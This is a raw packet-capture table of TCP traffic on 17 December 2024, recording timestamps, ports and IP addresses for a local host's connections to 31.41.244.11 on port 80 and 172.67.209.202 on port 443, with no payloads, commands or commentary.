Dec 17, 2024 22:06:22.954624891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.954709053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.954788923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.954833031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.955641031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.955748081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.955807924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.956659079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.956736088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.956880093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.957341909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.957639933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.957688093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.957823992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.957863092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.958631039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.958678007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.958734035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.958780050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.959688902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.959712982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.959775925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.960983992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.961034060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.961095095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.961184978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.961791039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.961842060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.961883068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.961925030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.962763071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.962827921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.962872028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.963651896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.963783979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.963831902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.964729071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.964775085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.964824915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.965660095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.965703964 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.103987932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.104118109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.104176998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.104557037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.104599953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.104805946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.104932070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.104973078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.105787039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.105829954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.105866909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.106573105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.106722116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.106734037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.106779099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.107841015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.107932091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.107961893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.107996941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.108839035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.108851910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.108876944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.108901024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.109719038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.109769106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.109800100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.109843016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.110702038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.110773087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.110821962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.110937119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.111701965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.111742973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.111877918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.111912966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.112723112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.112797022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.112835884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.113087893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.113703012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.113785982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.113818884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.113840103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.114842892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.114921093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.114928007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.114959002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.115797997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.115838051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.115885973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.116718054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.116842985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.116889000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.117744923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.117818117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.117854118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.118716002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.118762016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.118781090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.118942022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.119694948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.119735956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.119772911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.119807005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.120740891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.120778084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.120815039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.120851994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.121768951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.121781111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.121822119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.121845007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.122775078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.122786999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.122838974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.123769045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.123866081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.123873949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.123898029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.124732971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.124789953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.124798059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.124979019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.125734091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.125793934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.125833035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.126281023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.126713991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.126768112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.126827002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.126941919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.127739906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.127794981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.127826929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.127866030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.128715038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.128761053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.128771067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.128793001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.129759073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.129806042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.129821062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.130069017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.130763054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.130829096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.130840063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.130939960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.131730080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.131798029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.131855011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.132765055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.132827044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.132904053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.133732080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.133841991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.133896112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.134748936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.134844065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.134898901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.135714054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.135761976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.135864973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.135909081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.136739016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.136833906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.136876106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.137763977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.137808084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.137845039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.137883902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.138791084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.138844967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.138937950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.139566898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.139736891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.139782906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.139797926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.139828920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.140954971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.141006947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.141103029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.141313076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.141717911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.141860008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.141889095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.141935110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.142733097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.142776012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.143074036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.143748045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.143795013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.143809080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.143845081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.144771099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.144850969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.144905090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.145741940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.145844936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.145900011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.146749020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.146796942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.146883011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.146924019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.147749901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.147809029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.147839069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.147876978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.148737907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.148837090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.148889065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.149770021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.149852037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.149899006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.150777102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.150907993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.150949955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.151787043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.151833057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.151891947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.151933908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.152806997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.152878046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.152899027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.153006077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.153759956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.153820992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.153856993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.153897047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.154767990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.154824972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.154825926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.154947996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.155810118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.155847073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.155893087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.229440928 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:23.229660988 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:23.229752064 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:23.233293056 CET	49794	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:23.233316898 CET	443	49794	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:23.249864101 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:23.249900103 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:23.250183105 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:23.253343105 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:23.253361940 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:23.296160936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.296185017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.296300888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.296685934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.296746016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.296792030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.297642946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.297710896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.297777891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.298691034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.298702002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.298742056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.298774958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.299660921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.299673080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.299731970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.300678968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.300690889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.300738096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.301719904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.301772118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.301789999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.302691936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.302746058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.302758932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.302952051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.303670883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.303803921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.303858042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.304759979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.304888010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.304939985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.305677891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.305727959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.305778027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.306658983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.306709051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.306763887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.306952953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.307967901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.307981014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.308028936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.308660984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.308789015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.308837891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.309693098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.309731960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.309746981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.309777021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.310700893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.310748100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.310858965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.310924053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.312057018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.312068939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.312114000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.312654018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.312769890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.312835932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.313783884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.313795090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.313868999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.318701982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.318851948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.318885088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.318897963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.318942070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.318942070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.319010019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.319024086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.319052935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.319060087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.319066048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.319096088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.319124937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.321513891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.321691990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.321753979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.322660923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.322674036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.322737932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.323623896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.323781967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.323843956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.324383974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.324439049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.324635029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.325634956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.325649023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.325700045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.326606035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.326620102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:23.326678038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:23.327646971 CET	80	49793	31.41.244.11	192.168.2.4
